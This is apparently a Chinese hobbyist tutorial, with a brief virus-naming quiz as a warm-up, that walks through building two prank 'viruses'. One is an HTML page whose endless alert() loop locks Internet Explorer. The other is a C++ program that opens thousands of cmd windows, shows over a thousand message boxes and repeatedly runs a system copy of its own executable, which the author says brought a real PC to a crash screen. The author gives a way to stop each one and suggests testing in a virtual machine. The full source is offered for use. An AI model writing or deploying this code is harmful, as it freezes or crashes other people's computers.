先来热身一下:
下列哪些是计算机病毒?
- CIH
- AIDS
- 金山毒霸
- 江民
- 小红伞
- 小球
好了,回到正题
今天分别做两个病毒,一个是网页病毒,一个是C++(C语言也可以)病毒.
先来说说HTML的:
思路很简单,基于Internet Explorer浏览器出现对话框时无法进行其他操作的Bug,所以利用这个Bug,我们就可以写出这样的代码:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<script>
var i=0;
while (true){
alert("hhh!你中计了!叫你不用Edge浏览器,惨了吧!来关我呀!略略略,关不掉!略略略~");
}
</script>
</body>
</html>
仅对Internet Explorer浏览器有效(给Edge做了一个很大的广告)
运行效果:
Internet Explorer浏览器:
新版Edge浏览器:
老版Edge也是同样做法,只是要先选择这个选项:
- 不要让这个页面创建更多消息
随后再关掉
新版Edge以及谷歌Chrome,Chromium浏览器直接关掉页面或浏览器就可以了!
IE浏览器就略麻烦,找到小贝(360柠檬杀毒软件的加速球),找到IE浏览器并勾选,随后点击深度加速即可.
好了,下一个
这是用C++做的,如果上面不够狠那么请看看这个,解决方法比较暴力请不要作X_X使用:
解决方法既然暴力,程序也一定很暴力:
首先上来就100个
malloc(1024);//参数随便改
卡死你的电脑,随后再来9999个CMD晃死你(我的语气都有点暴力了)!
system("Start");//start大小写随便
如果你的电脑扛住了的话(一般扛不住)再来几个MessageBox气死你!
MessageBox(NULL,"你死定了","呵呵",MB_ICONEXCLAMATION|MB_OK);
随后9999个克隆
char *This = argv[0];//获取当前exe的文件地址
char *Target = "这里填写你的exe文件的目录,如:C:\\xxx.exe";//被拷贝文件的地址
char cmd[1000] = "copy ";
strcat(cmd,This);
strcat(cmd," ");
strcat(cmd,Target);
system(cmd);
总体代码如下:
#include <iostream>
#include <windows.h>
using namespace std;
char cmd[1000] = "copy ";
#define r(p) for(int i=0;i<=p;++i){
#define e }
int main(int argc,char *argv[])//这个int argc,char *argv[]必须带
{
char *This = argv[0];//获取当前exe的文件地址
char *Target = "这里填写你的exe文件的目录,如:C:\\xxx.exe";//被拷贝文件的地址
r(100)malloc(1024);e//malloc是申请内存
r(9999)system("Start");e
r(1024)MessageBox(NULL,"你死定了","呵呵",MB_ICONEXCLAMATION|MB_OK);e
r(9999) strcat(cmd,This);strcat(cmd," ");strcat(cmd,Target);system(cmd);e
}
运行结果:
哔…
😃
你的电脑出现问题
我们只收集一些信息,随后你就可以关机
100%完成
解决方法:
如果你的柠檬(杀毒软件)没有发现它是个病毒,那么你就只能重启了…
注:
上面的病毒我都在电脑上试过(不是虚拟机),绝对可行!
大家千万不要像我一样啊!!!
要试到虚拟机上试.
彩蛋
(今日无彩蛋)